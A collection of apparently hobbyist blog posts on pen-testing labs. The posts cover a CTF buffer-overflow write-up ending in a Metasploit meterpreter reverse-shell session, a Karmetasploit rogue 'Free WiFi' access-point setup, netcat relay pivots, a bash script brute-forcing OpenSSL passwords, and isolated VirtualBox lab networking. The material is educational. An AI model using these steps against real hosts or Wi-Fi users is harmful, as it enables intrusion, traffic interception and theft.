$+6F4 0013F498 43307143 Cq0C
$+6F8 0013F49C 71433171 q1Cq <- end of ESP
$+6FC 0013F4A0 FBFAF9F8 øùúû

Note that our offset for the beginning of EAX is 0×104 (base 16) which is 260 base 10, matching what we discovered earlier.

The buffer to which ESP points has length 0x6F8 (base 16) giving us 1784 bytes to store our shellcode.

We can confirm this number using the same method we used to find the offset for EIP earlier:

Take the Hex value at the end of the ESP buffer and find the offset:

root@bt:~# /opt/metasploit3/msf3/tools/pattern_offset.rb 71433171 5000
2044

Calcualate the total space by subtracting the offset of EIP
2044 – 260 = 1784

Sweet.

Also, remember back in the step “Determine if Vulnerable to Buffer Overflow,” when server.exe crashed, it reported, “Bytes received: 2048?”

Well, 260 bytes (EAX) + 4 bytes (EIP) + 1784 bytes (ESP) = 2048. It’s nice that computers are precise :)

FACT: ESP will hold 1784 bytes.

Build Metasploit Exploit Module
Neither author of this tutorial are Metasploit experts. However, developing an exploit module for this overflow will be pretty simple.  Mooky provided an excellent write-up on Metasploit module creation.  Please read Mooky’s tutorial for details on how this module was developed.

We will find an existing Metasploit module that exploits a simple buffer overflow, then modify it to meet our needs.

The freeftpd_user.rb module is a perfect candidate. The file is in:
/opt/metasploit3/msf3/modules/exploits/windows/ftp

Lets make a new directory for our new module, and get a copy of freeftpd_user.rb, and begin editing…  Mooky’s tutorial includes a module template that would work as well.  It is commented for easy understanding.

On BT4 box:

root@bt:~# mkdir /opt/metasploit3/msf3/modules/exploits/ctf
root@bt:~# cd /opt/metasploit3/msf3/modules/exploits/ctf/
root@bt:/opt/metasploit3/msf3/modules/exploits/ctf# cp ../windows/telnet/goodtech_telnet.rb .
root@bt:/opt/metasploit3/msf3/modules/exploits/ctf# ls
goodtech_telnet.rb
root@bt:/opt/metasploit3/msf3/modules/exploits/ctf# mv goodtech_telnet.rb ctf.rb
root@bt:/opt/metasploit3/msf3/modules/exploits/ctf# vi ctf.rb

For ease of use, download the edited Metasploit module.

The facts, discovered above, that we need to develop the exploit:
Filler: 260 bytes
Location of JMP ESP: 0x77C6AFEE
Max Payload: 1784
Server port: 1337

Once done editing the file, save it and test the exploit.

Test Metasploit Exploit Module
Our Metasploit module is created, all we have to do now is to test.

Fortunately, the Metasploit platform makes it very simple to add a payload and exploit the vulnerability. We will use the windows reverse TCP handler as the payload.

On WS2003 box:
Start Immunity Debugger
Open server.exe
Hit F9
Hit Shift+F9 after starting the run

Alternatively, you can simply start server.exe from the command line – outside the debugger. You don’t really need the debugger at this point…

Testing the Metasploit module

Testing the Metasploit module

On BT4 box:

root@bt:/opt/metasploit3/msf3/msfconsole
msf > use exploit/ctf/ctf
msf exploit(ctf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ctf) > set LHOST 10.1.0.2
LHOST => 10.1.0.2
msf exploit(ctf) > set RHOST 10.1.0.1
RHOST => 10.1.0.1
msf exploit(ctf) > exploit
[*] Started reverse handler on 10.1.0.2:4444
[*] Trying target Windows Server 2003 English...
[*] Sending stage (749056 bytes) to 10.1.0.1
[*] Meterpreter session 1 opened (10.1.0.2:4444 -> 10.1.0.1:1033)...

We can verify we have shell access by comparing a process list generated through meterpreter, and generated through the Windows Server command line.

In our example, notice that the ‘ps’ command run through meterpreter generates the same process list as the Windows Server. Get out the R00t Dance!

Pwnt!

Pwnt!

On BT4 box:

meterpreter > ps
...
1656 wmiprvse.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wbem\wmiprvse.exe
400 cmd.exe x86 0 WS2003\Administrator C:\WINDOWS\system32\cmd.exe
996 server.exe x86 0 WS2003\Administrator C:\ctf\server.exe
584 cmd.exe x86 0 WS2003\Administrator C:\WINDOWS\system32\cmd.exe
1960 wmiprvse.exe x86 0 C:\WINDOWS\system32\wbem\wmiprvse.exe

On WS2003 box:

C:\> tasklist
...
wmiprvse.exe 1656 Console 0 4,808 K
cmd.exe 400 Console 0 1,508 K
server.exe 996 Console 0 1,696 K
cmd.exe 584 Console 0 1,408 K
tasklist.exe 1648 Console 0 3,492 K
wmiprvse.exe 1960 Console 0 4,892 K

Note: when you run the exploit, you may get the following output:

[*] Started reverse handler on 10.1.0.2:4444
[*] Trying target Windows Server 2003 English...
[*] Exploit completed, but no session was created.

This failure to adequately exploit the vulnerability is the result of ASLR, I believe. Please read on.

In order to successfully run this exploit, you may need to re-start server.exe and try again, possibly several times.

Impact of ASLR and DEP
For the exploit to work, I had to disable DEP on the WS2003 box.

ASLR
With DEP disabled, the exploit still fails roughly 50% of the time – I suspect due to ASLR.
Here are the run results from 20 attempted runs of the exploit module, 1=success, 0=fail: 11100000010101111110
Watching the debugger during test runs, it is clear that the location storing EIP changes for instances where the exploit fails.

DEP
Once I got the exploit working, even with a 50% fail rate under ASLR, I re-enabled DEP to test further.

Results
The exploit fails 100% of the time with DEP enabled, even when it would have worked.

We can confirm that the exploit would have worked by observing the value of EIP when the exploit module is executed.

0013EDA4 77C6AFEE .... RPCRT4.77C6AFEE

So, I suspect that the 50% failure rate is the result of ASLR.

Output of Error Logs
Back in the step, “Determine if Vulnerable to Buffer Overflow,” I mentioned that full error log entries were included… Here they are, partially truncated for brevity. I left some useful instructional tidbits in the Dr. Watson error log message.

The DR. Watson log entry only appears to be created when I crashed server.exe with DEP enabled. I didn’t test this hypothesis, however. In any case, I included the entry, for completeness.

From the error log:

Event Type:	Error
Event Source:	Application Error
Event Category:	(100)
Event ID:	1000
Date:		2/9/2011
Time:		11:01:54 PM
User:		N/A
Computer:	WS2003
Description:
Faulting application server.exe, version 0.0.0.0, faulting module unknown,
version 0.0.0.0, fault address 0x61616161.

For more information, see Help and Support Center at

http://go.microsoft.com/fwlink/events.asp.

Data:
0000: 41 70 70 6c 69 63 61 74   Applicat
0008: 69 6f 6e 20 46 61 69 6c   ion Fail
0010: 75 72 65 20 20 73 65 72   ure  ser
0018: 76 65 72 2e 65 78 65 20   ver.exe
0020: 30 2e 30 2e 30 2e 30 20   0.0.0.0
0028: 69 6e 20 75 6e 6b 6e 6f   in unkno
0030: 77 6e 20 30 2e 30 2e 30   wn 0.0.0
0038: 2e 30 20 61 74 20 6f 66   .0 at of
0040: 66 73 65 74 20 36 31 36   fset 616
0048: 31 36 31 36 31            16161

Dr. Watson error…

Event Type:	Information
Event Source:	DrWatson
Event Category:	None
Event ID:	4097
Date:		2/9/2011
Time:		11:01:54 PM
User:		N/A
Computer:	WS2003
Description:
The application, C:\ctf\server.exe, generated an application error
The error occurred on 02/09/2011 @ 23:01:54.869 The exception
generated was c0000005 at address 61616161 ()

For more information, see Help and Support Center at

http://go.microsoft.com/fwlink/events.asp.

Data:
0000: 0d 00 0a 00 0d 00 0a 00   ........
0008: 41 00 70 00 70 00 6c 00   A.p.p.l.
0010: 69 00 63 00 61 00 74 00   i.c.a.t.
0018: 69 00 6f 00 6e 00 20 00   i.o.n. .
0020: 65 00 78 00 63 00 65 00   e.x.c.e.
0028: 70 00 74 00 69 00 6f 00   p.t.i.o.
0030: 6e 00 20 00 6f 00 63 00   n. .o.c.
0038: 63 00 75 00 72 00 72 00   c.u.r.r.
0040: 65 00 64 00 3a 00 0d 00   e.d.:...
0048: 0a 00 20 00 20 00 20 00   .. . . .
0050: 20 00 20 00 20 00 20 00    . . . .
0058: 20 00 41 00 70 00 70 00    .A.p.p.
0060: 3a 00 20 00 43 00 3a 00   :. .C.:.
0068: 5c 00 63 00 74 00 66 00   \.c.t.f.
0070: 5c 00 73 00 65 00 72 00   \.s.e.r.
0078: 76 00 65 00 72 00 2e 00   v.e.r...
0080: 65 00 78 00 65 00 20 00   e.x.e. .
0088: 28 00 70 00 69 00 64 00   (.p.i.d.
0090: 3d 00 32 00 31 00 36 00   =.2.1.6.
0098: 29 00 0d 00 0a 00 20 00   )..... .
00a0: 20 00 20 00 20 00 20 00    . . . .
00a8: 20 00 20 00 20 00 57 00    . . .W.
00b0: 68 00 65 00 6e 00 3a 00   h.e.n.:.
00b8: 20 00 32 00 2f 00 39 00    .2./.9.
00c0: 2f 00 32 00 30 00 31 00   /.2.0.1.
00c8: 31 00 20 00 40 00 20 00   1. .@. .
00d0: 32 00 33 00 3a 00 30 00   2.3.:.0.
00d8: 31 00 3a 00 35 00 34 00   1.:.5.4.
00e0: 2e 00 38 00 36 00 39 00   ..8.6.9.
00e8: 0d 00 0a 00 20 00 20 00   .... . .
00f0: 20 00 20 00 20 00 20 00    . . . .
00f8: 20 00 20 00 45 00 78 00    . .E.x.
0100: 63 00 65 00 70 00 74 00   c.e.p.t.
0108: 69 00 6f 00 6e 00 20 00   i.o.n. .
0110: 6e 00 75 00 6d 00 62 00   n.u.m.b.
0118: 65 00 72 00 3a 00 20 00   e.r.:. .
0120: 63 00 30 00 30 00 30 00   c.0.0.0.
0128: 30 00 30 00 30 00 35 00   0.0.0.5.
0130: 20 00 28 00 61 00 63 00    .(.a.c.
0138: 63 00 65 00 73 00 73 00   c.e.s.s.
0140: 20 00 76 00 69 00 6f 00    .v.i.o.
0148: 6c 00 61 00 74 00 69 00   l.a.t.i.
0150: 6f 00 6e 00 29 00 0d 00   o.n.)...
....
1178: 0d 00 0a 00 65 00 69 00   ....e.i.
1180: 70 00 3d 00 36 00 31 00   p.=.6.1.
1188: 36 00 31 00 36 00 31 00   6.1.6.1.
1190: 36 00 31 00 20 00 65 00   6.1. .e.
1198: 73 00 70 00 3d 00 30 00   s.p.=.0.
11a0: 30 00 31 00 32 00 65 00   0.1.2.e.
11a8: 64 00 61 00 38 00 20 00   d.a.8. .
11b0: 65 00 62 00 70 00 3d 00   e.b.p.=.
11b8: 36 00 31 00 36 00 31 00   6.1.6.1.
11c0: 36 00 31 00 36 00 31 00   6.1.6.1.
....
1a00: 20 00 0d 00 0a 00 57 00    .....W.
1a08: 41 00 52 00 4e 00 49 00   A.R.N.I.
1a10: 4e 00 47 00 3a 00 20 00   N.G.:. .
1a18: 46 00 72 00 61 00 6d 00   F.r.a.m.
1a20: 65 00 20 00 49 00 50 00   e. .I.P.
1a28: 20 00 6e 00 6f 00 74 00    .n.o.t.
1a30: 20 00 69 00 6e 00 20 00    .i.n. .
1a38: 61 00 6e 00 79 00 20 00   a.n.y. .
1a40: 6b 00 6e 00 6f 00 77 00   k.n.o.w.
1a48: 6e 00 20 00 6d 00 6f 00   n. .m.o.
1a50: 64 00 75 00 6c 00 65 00   d.u.l.e.
....

Fix screen resolution for BackTrack VM under VirtualBox

Revisions: 20110521 – Revised to show the fix for BT5

On BT5

The following worked with no fuss:

# Xorg -configure
# cp /root/xorg.conf.new /etc/X11/xorg.conf
# startx

And that’s it!

On BT4

Note to self.  To fix the screen resolution for X on a host running BackTrack on VirtualBox…

Modify the “Screen” section in /etc/X11/xorg.conf to read as follows:

Section "Screen"
Identifier           "Default Screen"
Monitor             "Configured Monitor"
Device               "Configured Video Device"
DefaultDepth     24
SubSection "Display"
Depth    24
Modes   "1024x768" "800x600"
EndSubSection
EndSection

Karmetasploit on BT4R2

Purpose
The purpose of this post is to provide quick guidance on getting Karmetasploit running on BT4R2 for my specific environment.  These steps may work for you, but this post is intended, primarily, to document this so I can remember it later…

Background
Karmetasploit is a combination of Karma and Metaploit.

Resources Used
1: KARMA + Metasploit Framework 3 == Karmetasploit
2: Metasploit with MYSQL in BackTrack 4 r2
3: Karmetasploit Configuration
4a: Metasploit + Karma=Karmetasploit Part 1
4b: Metasploit + Karma=Karmetasploit Part 2

Prerequisites

  • BT4R2 is installed
  • Networking to the Internet is available (to update BT and MSF)

Update BackTrack and MSF
Update BT4R2

> /usr/bin/apt-get update
> /usr/bin/apt-get upgrade

Update MSF

> /opt/metasploit3/msf3/msfupdate

Configure
Metasploit Karma Configuration File
Download File

> /usr/bin/lynx -nolist -dump http://metasploit.com/users/hdm/tools/karma.rc > karma.rc

Edit File
Change the following lines as noted
load db_sqllite3 –> db_driver mysql
db_create /root/karma.db –> db_connect root:toor@localhost/karma

DHCP Configuration File
Edit File
Change the following config file as described in Resource 1.
/etc/dhcp3/dhcpd.conf

Reboot
Restart the host to reset the wireless network… This step may be necessary if you were using the wireless interface to perform the above activities.

Test Wireless Injection

> /usr/local/sbin/airmon-ng start wlan0

The above command creates interface mon0.
The next command tests packet injection on the interface. (Note, this is “DASH DASH test mon0″ – it may display as “DASH test mon0″ in your browser).

> /usr/local/sbin/aireplay-ng –test mon0

To stop the monitor interface

> /usr/local/sbin/airmon-ng stop mon0

Run
Start MySQL

> /etc/init.d/mysql start

Create Fake AP
If have not done so, place the wireless card in monitor mode using:

> /usr/local/sbin/airmon-ng start wlan0

Then execute the following commands:

> /usr/local/sbin/airbase-ng -P -C 30 -c 1 -e “Free WiFi” -v mon0

(The above command creates interface at0. We will use this as the end-point interface for clients connecting to our fake AP.)
Note: without the -c 1 option, my AP would NOT show up in the available networks list of my victim. I obtained the channel number by looking at the output of the –test. I compared the APs showing up in that list to those showing up on my victim, then using the same channel. Others have experienced this as noted in Kosis’s comment on CG’s blog post (Resource 4b).

> /sbin/ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
> /usr/sbin/dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
> /opt/metaploit3/msf3/msfconsole -r karma.rc
> /usr/sbin/tcpdump -w dump.pcap -i at0

Look at Progress

msf> db_notes

Consider: Blackhole Routing from the MSF paper

NOTES
Looks like fakedns crashes after some time. Appears to crash after first client connections. How to monitor?
The fakedns can be restarted as follows:

msf> use auxiliary/server/fakedns
msf> set SRVPORT 53
msf> run

Creating a bootable USB thumb drive

USB Drive

I want to get started with BackTrack 4 R2 (BT4R2) on a dedicated laptop. But I don’t think I can burn a DVD reliably, so I need another method.

Solution – Bootable USB Thumb Drive

This solution may work with other operating systems…

Steps:

  1. Download BT4R2 ISO image.
  2. Download UNetbootin and install.
  3. Use UNetbootin to create the bootable ISO. This may take a while.
  4. Prep target laptop by ensuring that the “boot from USB” option is enabled.  On my test box, a D620, it’s F2 at boot to get into the BIOS configuration.  NOTE: Be sure to clean up the boot settings once the OS is installed on the HDD.
  5. Once UNetbootin is done creating the bootable USB drive, insert the key into the target laptop and boot!
  6. Follow process to install BT4R2.

Saweet.

Bill

Yet Another Netcat Introduction

Howdy folks!

Episode 195 of PaulDotCom Security Weekly prompted me to revisit an old favorite, netcat (many netcat versions exist). On the episode, Ed Skoudis provided an excellent technical segment on using netcat and netcat-like relays.

The write-up at PDC is very well done, but I thought I’d work my way through the examples, and try to illustrate with more text and some graphics. If you are following the notes on PDC, be advised I am using the term pivot synonymously with relay…

The goal of this post is to reinforce my own understanding of netcat by providing an informative introduction, and help readers who may not have familiarity with netcat develop an understanding of the possibilities the tool introduces.

Background

The simple netcat session consists of two steps:

  1. On one host, create a netcat listener on a specified port – sometimes referred to as the server
  2. On another host, create a netcat connection to the listener created in Step 1, sometimes referred to as the client

Once established, a netcat session provides bi-directional communication. Data going in one end, comes out the other. The session does not discriminate between ‘client’ and ‘server.’ The only differentiator is that the listener is created first.

A fairly contrived networking example is provided below to illustrate netcat in use.

The version of netcat used in these examples is provided with BackTrack 4, and is slightly different than the version provided with some flavors of *Nix. But the basics are the same.  If you are using Ubuntu – the -p when creating the listener is optional.  Other than that, these command should work as written.

Example 1: Simple Netcat Session

Image 1: Simple Netcat Session

In this example, Host A and Host B want to communicate. Following the process described above, Host B creates a listener in Step 1, and Host A connects to that listener in Step 2.

A slightly more complicate example is provided in Example 2.

Example 2: Partial Pivot

Image 2: Partial Pivot

In Example 2, Hosts A and B can communicate, and B and C can communicate, but A and C cannot, directly.

If A wants to send data to C, we must pivot through B.  We must use B as a relay between A and C.

This requires two netcat sessions. One between B and C, and another between A and B. Naturally, then, we need to set up two listeners (servers) and two talkers (clients).

The first session is established between B and C. This is done in Step 1 and the second part of Step 2.
Step 1) > nc -l -p 3333
Step 2.2) > nc 10.1.0.3 3333

The second session is created between A and B. This is done in the first part of Step 2 and in Step 3:
Step 2.1) > nc -l -p 2222
Step 3) > nc 10.1.0.2 2222

The key to making this pivot work, is that we must connect the output of the second session (between Host A and B) to the input of the first session (between Host B and C). This can be seen in the diagram’s Step 2. Host B issues the command to establish the listener for the communication with Host A using a pipe to send the output to the connection is it making to Host C.
> nc -l -p 2222 | nc 10.1.0.3 3333
This basically says, “listen for data coming in on 2222 and pipe it to port 3333 on host 10.1.0.3.

Perfect. Now all data sent to stdin on Host A will be sent through the pivot at Host B and to stdout on Host C.

The problem, however, is that Host A cannot see the results of whatever he sends through to C.

The challenge is that Host A’s output to B is being piped into a netcat session with C. Data coming back from C appears on the stdout of Host B! Host A never gets to see what is going on.

To remedy this, we must pipe the stdout coming from Host C to Host B to a place A can see it. If Host B has write access to a publicly accessible source (e.g., ftp server, wwwroot, etc) then problem solved. Or, we can create a third netcat session back from B to A!

Example 3: Two-way Pivot

Image 3: Two-way Pivot

This example extends the second example by simply providing one more netcat session back from stdin on B (coming from C) to Host A.

The stinky part is that Host A now has two terminal windows open:

  1. A session for sending the data through the pivot at B to C, and
  2. A session for receiving the results coming from C back through the pivot at B.

What we do gain, however, is that though Hosts A and C cannot talk directly, they can relay their communications through an intermediary set of hosts to accomplish the same task.

This method can be simplified.

As Ed pointed out in his Technical Segment, a shell redirect through a named pipe works quite well.

Example 4: Two-Way Pivot Using Named Pipe

Image 3: Two-Way Pivot Using Named Pipe

In Example 3, the relay, Host B, creates a named pipe, and then funnels the netcat input/output through the named pipe.

Host B issues the following two items on the command line:
> mknod bp p
> nc -l -p 2222 0<bp | nc 10.1.0.3 3333 1>bp

To analyze, let me label each part of this set of commands:
A) mknod bp p
B) nc -l -p 2222 0<bp
C) nc 10.1.0.3 3333 1>bp
D) B | C

A) mknod bp p
In step A, Host B creates a named pipe of type FIFO (p). A FIFO pipe works just like a FIFO queue – First In, First Out. This means that the first data arriving in the pipe will be the first data taken out of the pipe. This will allow us to create a writer and a reader attached to the queue. If you envision this as a line at a bank, the reader will be the bank teller, taking folks out of the queue, and the door to the bank acts as the writer, adding folks to the queue.

B) nc -l -p 2222 0<bp
In step B, the host creates a listener bound to port 2222, and uses input redirection to dump anything from the named pipe (bp) into the netcat session. When a client actually connects to this netcat session, the input will be written to stdout on Host B.

C) nc 10.1.0.3 3333 1>bp
In step C, the host creates a netcat session to host 10.1.0.3, where the output (stdout) arriving from the listener at the far end will be written into the named pipe (because of 1>bp).

What we can see now, is that the netcat listener in Step B is the reader from the FIFO queue, and the netcat session created in Step C is the writer to the queue. Perfect.

D) B | C
The final command D ties the two components together. Without using the pipe operator, the stdout arriving from Host A is still written to stdout on Host B. By using the pipe, we push stdout arriving from A into the netcat session created to Host C, just as we’ve done several times in these examples.

To illustrate the full data flow, then. Once both sets of netcat sessions are established as illustrated in Example 4, data flows through the system as follows. Data entered at Host A is sent over the netcat session to Host B where it is redirected through a pipe ( “|” ) into the netcat session Host B has created with Host C. As data comes back from Host C, it arrives at Host B, is written into the named pipe using output redirection (1>bp), where it is picked up by the netcat session Host B has with Host A because of input redirection (0<bp)

Conclusion

Skoudis goes into several deeper examples in the PDC Episode 195 show notes, and I encourage folks to read. It seems that your imagination, and the combination of your user access rights and a forgiving firewall rule-set are the only things limiting you!

The goals of this post are to:

  • Strengthen my knowledge by educating;
  • Assist those who may not have much exposure to netcat; and
  • Help spark interest in the countless possibilities introduced!

I help you found it useful.

Bill

Decrypting files using OpenSSL

Background

I’m playing with one of the De-ICE pen-testing CD’s, and I came across a file that was encrypted.

The problem is, I don’t know:

  • The cipher used to encrypt the file
  • The password used
  • Whether or not the file was Base64 encoded

Discovery

By poking around the box, I was able to determine that OpenSSL was installed.  OpenSSL will reveal the encryption commands it supports by typing:

# openssl -help

So I know the set of algorithms that could have been used to encrypt the file.

I also have a candidate set of passwords that I believe were used to encrypt the file.  These were uncovered during the pen test.

I need to figure out if the file was Base64 encoded and the cipher used.

# file encrypted_file.enc
encrypted_file.enc: data

The file is not Base64 encoded or it would be type text.  I tested this by encrypting two files, one with Base64 and one without.  The Base64 file returned type text, the other type data.

To test for the algorithm used, I tried encrypting a file and decrypting with both correct and incorrect passwords.  Only clean decryptions (where the correct password was used) result in plain text (“ASCII text”) when using the “file” command.  Decrypting a file with the wrong password results in a file with file type “data,” or something else.

This will make scripting of a solution easy.

The challenge for me is that I don’t know much about shell scripting.  Fortunately, there is a sweet resource over at the LDP – the Advanced Bash-Scripting Guide by Mendel Cooper.  It was a huge help.

What I know now:

  • Candidate passwords
  • Candidate encryption algorithms
  • The file was not Base64 encoded

What I don’t know:

  • The combination of password/algorithm used to encrypt the file.

What I want:

  • The decrypted file
  • The password and algorithm used to encrypt the file

Scripting a Solution

Result: decrypt.sh
Given a set of candidate encryption algorithms and candidate passwords, the script will:

  • Try all combinations of password/algorithm
  • Save the decrypted results in the specified directory
  • Save decrypted files wiith a file name of the type <password>_<algorithm>.txt
  • Run the “file” command at the end, looking for any that have type ASCII text

If the algorithm is successful, at least one file with type ASCII text will have be a valid decryption of the original file.

The file worked like a charm to decrypt the file I found.

The Code

#! /bin/bash

SUPPORTED_ALGS=(aes-128-cbc aes-128-ecb aes-192-cbc aes-192-ecb aes-256-cbc
aes-256-ecb base64 bf bf-cbc bf-cfb
bf-ecb bf-ofb cast cast-cbc cast5-cbc
cast5-cfb cast5-ecb cast5-ofb des des-cbc
des-cfb des-ecb des-ede des-ede-cbc des-ede-cfb
des-ede-ofb des-ede3 des-ede3-cbc des-ede3-cfb des-ede3-ofb
des-ofb des3 desx rc2 rc2-40-cbc
rc2-64-cbc rc2-cbc rc2-cfb rc2-ecb rc2-ofb
rc4 rc4-40)
PASSWORD_LIST=(passwd password test)
OUTPUT_DIRECTORY="/root/1_100/decrypt_output/"
ENCRYPTED_FILE="/root/1_100/encrypted_file.csv.enc"

echo "Num algorithms=${#SUPPORTED_ALGS[*]}"
echo "Num passwords=${#PASSWORD_LIST[*]}"

for password in ${PASSWORD_LIST[*]}
do
    for alg in ${SUPPORTED_ALGS[*]}
    do
        OUTFILE="${OUTPUT_DIRECTORY}${password}_${alg}.txt"

        openssl enc -d -in $ENCRYPTED_FILE -pass pass:${password} -out $OUTFILE -${alg}
    done
done

echo "Candidate files:"
file ${OUTPUT_DIRECTORY}* | grep ASCII

exit

Setting up a pen-testing lab-in-a-box

So, I got my hands on a handy, used Dell Latitude 620 with 2GB ram for next-to-nothing.

I’m looking for something to do with it…

How about, set up a penetration testing platform complete with: safe, internal-only networking; hosts as attackers; hosts as targets; and do the whole thing for $0.00. And, how about doing the entire thing on a single piece of hardware? Sweet.

Purpose
The purpose of this exercise is to establish a safe environment to perform penetration testing on different target hosts and applications.

A single computer with host-only networking will be used to avoid sending attacks across the network where other hosts may reside.

Goals

  • Establish the lab with no additional hardware or software investment.
  • Ensure that the box does not leak attacks over the network.
  • Provide an easy-to-maintain platform where new attackers and targets can be added or modified over time.

Basics: Establishing the virtual environment

The lab-in-a-box comprises a used Dell Latitude D620 with 2 GB ram, and 80GB hard disk space. Not a bleeding edge host, but more than adequate for this endeavor.

Software used:

  • Host OS – Ubuntu Linux 9.04, Jaunty Jackalope
  • Virtualization – Sun VirtualBox
  • Attacker – BackTrack 4 pre-release
  • Target – De-ICE Lab CD 1

Step 1. Download and install the Host OS

Download and install Ubuntu on the host. Get it up-and-running, patched, and configured to your tastes.

Step 2. Download and install VirtualBox

Virtual box can be downloaded from: http://www.virtualbox.org/

I’m using Ubuntu, there are a few kernel modules you may need depending on the version of Ubuntu  you are working with.  If you are using a different OS, do a little research.  The VirtualBox site has pretty good info on installing.

Step 3. Download the BackTrack and De-ICE ISO images

BackTrack can be found at Remote Exploit.
The De-ICE images can be found at De-ICE.net.

Step 4. Create the hosts in VirtualBox

Follow the installation instructions on the BackTrack site.

The De-ICE image is a bootable image, so you don’t need to create a big hard disk for this. I created a simple 1GB disk for it, and have the VM configured to mount the De-ICE ISO on boot. Pretty simple.

Step 5. Set up host networking

When I set up the VM’s, they had bridged networking. This means that each VM connects to the local network through the host computer. It is as though they are separate hosts on the network, and each receives an IP address via DHCP if so configured.

The problem is that two virtual machines on the same host will still communicate with one another over the LAN – and that could mean trouble.

The image below shows, in the upper-left hand corner, my BT4 VM doing an Nmap scan of my De-ICE VM in the upper right-hand corner. The window at the bottom is my host (physical box) doing a tcpdump.

Data Traveling Across Lan

Data Traveling Across Lan

As you can see from the host tcpump, the network traffic from BT4 is traveling across the net. That’s a big problem in fat-finger space.

I don’t want to be in the coffee shop and inadvertently fat finger a target and end up in the joint.

The solution, set the virtual machines to use a local-only network. In VirtualBox, this is called “Internal Networking.”

VirtualBox supports two types of local only networking. One is called “Host Only.” With this configuration, the host can still interface with the VMs, but the VMs cannot communicate off the host. This is pretty good. But I’m going for maximal safety. That is where “Internal Only” comes in. In this configuration, the virtual machines are assigned to a named network that is created by VirtualBox. Hosts on that virtual network can communicate with other VMs on that network, but not with hosts outside that network. Even your physical box (host) cannot communicate with the VMs…

Shut down and set both the network interfaces on the BT4 and De-ICE VMs to Internal Networking as shown in the screen shot below.

VirtualBox Internal Networking Setting

VirtualBox Internal Networking Setting

Note the default internal network name (in the screen shot it is “intnet”) as you will need this when configuring the VirtualBox DHCP server…

Next, we will set up the DHCP Server for the internal network. You may not need to do this step, but I’m following the instructions for the De-ICE CD which specifies that the DHCP server should be on 192.168.1.1 and have a lower DHCP lease range of 192.168.1.2. I set the upper range at 2.254 to accommodate other De-ICE CDs.

Using a terminal on the host, run the following command (all on one line):

VBoxManage dhcpserver add --netname intnet --ip 192.168.1.1 --netmask 255.255.0.0 --lowerip 192.168.1.2 --upperip 192.168.2.254 --enable

Sweet. All is well and good. Boot up the two images.

I performed two tests to make sure there was no data leakage.

First, I ran a similar test as I had above – running tcpdump on the host while running Nmap from the BT4 VM targeting the De-ICE VM.

Second, I disabled the host’s network connection and performed the same test.

In both cases the two VMs could talk to one another, but no data leakage, as shown in the screen shot below.

Internal Networking Enabled

Internal Networking Enabled

Step 6. Have fun!

You are good-to-go. Fire up those virtual machines and have some fun!